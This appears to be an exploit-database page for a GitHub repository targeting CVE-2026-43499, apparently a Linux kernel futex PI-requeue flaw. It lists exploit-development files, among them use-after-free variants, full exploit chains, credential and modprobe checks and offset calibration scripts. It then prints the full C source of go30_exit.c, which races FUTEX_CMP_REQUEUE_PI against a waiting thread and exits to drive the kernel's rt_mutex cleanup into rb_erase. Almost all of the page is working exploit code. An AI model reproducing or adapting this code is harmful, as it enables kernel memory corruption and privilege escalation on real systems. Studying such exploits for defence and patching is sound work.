Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files148
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- add_tryok_read.py
- build30.sh
- calib_offsets.py
- calib_vendor.py
- check.sh
- check_canary.gdb
- check_modprobe.py
- chk_env.sh
- cleanup.sh
- coupling.py
- cred_eval.py
- cve2602_chain
- cve2602_chain.c
- cve2602_debug
- cve2602_debug.c
- cve2602_full
- cve2602_full.c
- cve2602_inode_nosq.c
- cve2602_raw
- cve2602_raw.c
- cve2602_uaf
- cve2602_uaf.c
- cve2602_v2
- cve2602_v2.c
- data_path.py
- disasm.sh
- enum3.py
- enum_scan.py
- fakelock.py
- fakelock2.py
- find_d.sh
- fix_mode_c.py
- fix_mode_c2.py
- fix_threshold.py
- geo_deep.py
- geo_probe.py
- geo_probe_gcc.py
- geo_syscall.py
- go30
- go30.c
- go30_exit
- go30_exit.c
- go30_l1
- go30_l1.c
- go30_sel
- go30_sel.c
- go30_sync
- go30_sync.c
- go30_wv
- go30_wv.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
workspace/qemu/glA/go30_exit.c
C · 2,753 bytes/* go30_exit: exit cleanly to trigger do_exit -> rt_mutex cleanup -> rb_erase */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/futex.h>
#define P(...) do{ printf(__VA_ARGS__); fflush(stdout);}while(0)
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, b_started, deadlock_seen;
static long pi_lock(uint32_t *u){return syscall(SYS_futex,u,FUTEX_LOCK_PI,0,0,0,0);}
__attribute__((noinline)) void gdb_marker(void){ __asm__ __volatile__("bx lr"); }
static void *waiter_thread(void *arg){
(void)arg;
setresuid(1000,1000,1000); setresgid(1000,1000,1000);
struct timespec now; struct { int32_t sec,nsec; } ts;
a_tid=(int)syscall(SYS_gettid);
pi_lock(&f_pi_chain); a_ready=1; usleep(20000);
clock_gettime(CLOCK_MONOTONIC,&now);
int64_t ns=now.tv_nsec+500000000;
ts.sec=(int32_t)(now.tv_sec+ns/1000000000);
ts.nsec=(int32_t)(ns%1000000000);
long r=syscall(SYS_futex,&f_wait,FUTEX_WAIT_REQUEUE_PI,0,&ts,&f_pi_target,0);
(void)r;
gdb_marker();
while(!deadlock_seen){ }
/* exit cleanly to trigger do_exit cleanup */
P("waiter exiting\n");
syscall(SYS_exit_group,0);
return NULL;
}
static void *owner_thread(void *arg){
(void)arg;
pi_lock(&f_pi_target);
while(!a_ready) usleep(1000);
b_started=1;
(void)pi_lock(&f_pi_chain);
/* exit cleanly */
P("owner exiting\n");
syscall(SYS_exit_group,0);
return NULL;
}
int main(void){
pthread_t th; pthread_attr_t attr;
setvbuf(stdout,NULL,_IONBF,0);
f_wait=f_pi_target=f_pi_chain=0;
mlockall(MCL_CURRENT|MCL_FUTURE);
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr,1024*1024);
pthread_create(&th,&attr,owner_thread,NULL); usleep(10000);
pthread_create(&th,&attr,waiter_thread,NULL);
while(!b_started) usleep(1000);
for(int i=0;i<400;i++){
errno=0;
long r=syscall(SYS_futex,&f_wait,FUTEX_CMP_REQUEUE_PI,1,1,&f_pi_target,0);
if(r<0&&errno==35){ P("EDEADLK hit at i=%d\n",i); break; }
if(r>0){ P("requeued %ld at i=%d\n",r,i); break; }
usleep(1000);
}
if(errno!=35) P("no EDEADLK, errno=%d\n",errno);
syscall(SYS_futex,(int*)&f_wait,FUTEX_WAKE,1,0,0,0);
deadlock_seen=1;
/* wait for threads to exit, then main exits too */
sleep(1);
P("main exiting\n");
syscall(SYS_exit_group,0);
return 0;
}